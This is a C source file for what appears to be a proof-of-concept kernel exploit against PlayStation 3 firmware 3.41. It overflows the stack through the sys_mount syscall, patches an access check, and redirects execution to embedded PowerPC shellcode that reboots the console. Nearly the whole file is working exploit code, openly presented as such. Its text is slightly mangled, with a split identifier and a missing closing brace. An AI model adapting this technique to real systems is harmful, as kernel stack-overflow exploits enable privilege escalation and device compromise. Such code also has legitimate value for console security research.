/*
* lv2 sys_mount stack overflow
* Original finder: KaKaRoTo (thank you for pointing it out!)
* Note: all offsets/values/addrs in this source are 3.41 specific
*/
#include <stdio.h>
#include <ppu-types.h>
#include <ppu-lv2.h>
/*
unk2, unk3 is what we're going to use here.
lv2 will handle unk2, unk3 like this:
char *strlist[FIXED_SIZE]; //On stack.
for(i = 0; i < unk3; i++)
strlist[i] = strdup_from_uspace(*unk2++);
*/
static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/,
u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/)
{
lv2syscall8(837, (u64)dev, (u64)fs, (u64)path,
(u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3);
return_to_user_prog(s64);
}
//For testing.
static void patch_access_check()
{
//check_access @ 0x80000000000505D0
//li r3, 1 ; blr
lv2syscal
l2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL);
printf("[*] DEBUG: access check patched.\n");
}
int main(int argc, const char **argv)
{
//Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set.
//Solution: Find a usermode exploit in a SELF that has them set.
//Patch the ctrl flags check for testing.
patch_access_check();
//Nop.
char nop[] = "X";
//Payload.
char payload[] =
{
//Insert valid PPC code here (without 0x00 bytes)
//and hope lv2 heap 0x27 is executable and 0x04 aligned.
0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0
0x38, 0xE7, 0x01, 0x10, //addi r7, r7, 0x110
0x78, 0xE7, 0x83, 0xE4, //sldi r7, r7, 16
0x78, 0xE7, 0x07, 0xC6, //sldi r7, r7, 32
0x60, 0xE7, 0x91, 0x34, //ori r7, r7, 0x9134
0x7C, 0xE9, 0x03, 0xA6, //mtctr r7 ; 0x8000000000009134 (sys_sm_shutdown)
0x38, 0x60, 0x02, 0x10, //li r3, 0x210
0x38, 0x63, 0xFF, 0xF0, //addi r3, r3, -0x10 ; 0x200 (reboot)
0x7C, 0x84, 0x22, 0x78, //xor r4, r4, r4 ; 0
0x7C, 0xA5, 0x2A, 0x78, //xor r5, r5, r5 ; 0
0x7C, 0xC6, 0x32, 0x78, //xor r6, r6, r6 ; 0
0x4E, 0x80, 0x04, 0x20, //bctr
//End of payload.
0x00
};
//List containing the entries.
//stack frame size is 0x1C0
//strlist = framptr + 0xE0
//remaining stack frame size is 0xE0 (28 * 8)
#define LIST_LENGTH (28 + 2 + 1)
const char *list[LIST_LENGTH] =
{
//-0xE0
//Overwrite stack with nop entries (0xE0 bytes).
nop, nop, nop, nop, nop, nop, nop, nop, //0x40
nop, nop, nop, nop, nop, nop, nop, nop, //0x80
nop, nop, nop, nop, nop, nop, nop, nop, //0xC0
nop, nop, nop, nop,
//0x00
//Fill 0x10 bytes to reach saved r0.
nop, nop,
//+0x10
//Overwrite saved r0 with a pointer to our payload.
payload
};
//Doit!
printf("[*] Taking the plunge...\n");
s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH);
printf("[*] Error: sys_mount returned (res = 0x%016lX).\n", (u64)res);
return 0;
Last comments